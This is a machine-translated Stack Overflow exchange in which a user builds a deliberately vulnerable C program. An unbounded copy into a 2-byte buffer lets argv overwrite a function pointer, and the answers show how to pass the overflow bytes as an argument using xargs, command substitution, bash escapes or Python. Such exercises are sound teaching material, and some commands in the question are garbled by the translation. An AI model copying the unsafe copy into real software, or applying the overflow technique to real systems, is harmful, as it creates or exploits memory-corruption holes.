2012-08-03 84 views
0

为了教育目的,我试图运行一个使用缓冲区溢出来覆盖函数指针地址的程序。我已经确定了我想用nm覆盖的函数指针的位置。然后我想将新函数指针的地址传递给argv。我试图使用在mac osx上将shell参数传递给c程序

perl -e'print'aa \ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \“'| .a.out

其中\ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \是小端存储的新函数指针地址,而aa只是填充char缓存。问题是,这似乎并没有将输出管道输出到a.out,因为argc总是1.我也试过

perl -e'print'aa \ xc0 \ x0c \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ n“'> a.bin cat a.bin - | ./a.out

和ARGC仍为1

我重视我的程序的副本,方便以下。 还有一种更简单的方法可以将格式化的字节直接传递给c程序而不是使用perl,而无需更改我的程序的当前结构?

所以我可以做./a.out并让它运行?

感谢

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

typedef struct user_s{ 
    char name[2]; 
    void (*print_name)(); 
}user; 

user a; 

void print_name1(){ 
    printf("hello\n"); 
} 

void print_name2(){ 
    printf("hi\n"); 
} 

void usage(char * msg){ 
    printf("usage: %s <name>\n", msg); 
} 

void fill_name (char * name_to_fill, char *filler){ 
    int i, len; 
    len = strlen(filler); 
    printf("length of filler is %d\n", len); 
    for (i = 0 ; i < len; i ++){ 
     *(name_to_fill + i) = *(filler+i); 
    } 
} 

int main(int argc, char * argv[]){ 
    printf("argc = %d",argc); 
    if (argc != 2){ 
     usage(argv[0]); 
     return 0; 
    } 
    a.print_name = print_name1; 
    a.print_name(); 
    fill_name(a.name, argv[1]); 
    a.print_name(); 
    return 1; 
} 
+0

做一个CTF? :D我喜欢那些。我会用python来做,因为它的交互性更好,并且更容易玩。 – Wug 2012-08-03 21:59:17

+0

'os.execvp(“./a.out”,[“./a.out”,“aa \ x00 \ x00”+ address_bytes])'请注意,“aa”后面还有两个额外的字符。该结构的成员可能是4个字节对齐。如果这不起作用,请尝试8字节对齐方式,如果没有失败,请切换字节顺序并再次尝试。 – Wug 2012-08-03 22:08:36

回答

2

你混淆的命令行参数:标准输入。你的命令:

perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"'| ./a.out

会写程序的标准输入。如果你想要做同样的事情作为命令行参数,请尝试:

perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"'| xargs ./a.out

见:http://ss64.com/bash/xargs.html

+0

真棒!谢谢 :) – user1573235 2012-08-03 22:30:12

1

像约翰说,你混淆了标准输入参数。要通过程序的输出作为参数,你可以通过$(command)包裹它使用命令替换,所以对你的例子中,你应该做的

./a.out $(perl -e 'print "aa\xc0\x0c\x00\x00\x01\x00\x00\x00\"') 
1

用bash,那么你可以这样做:

./a.out $'aa\xc0\x0c\x00\x00\x01\x00\x00\x00'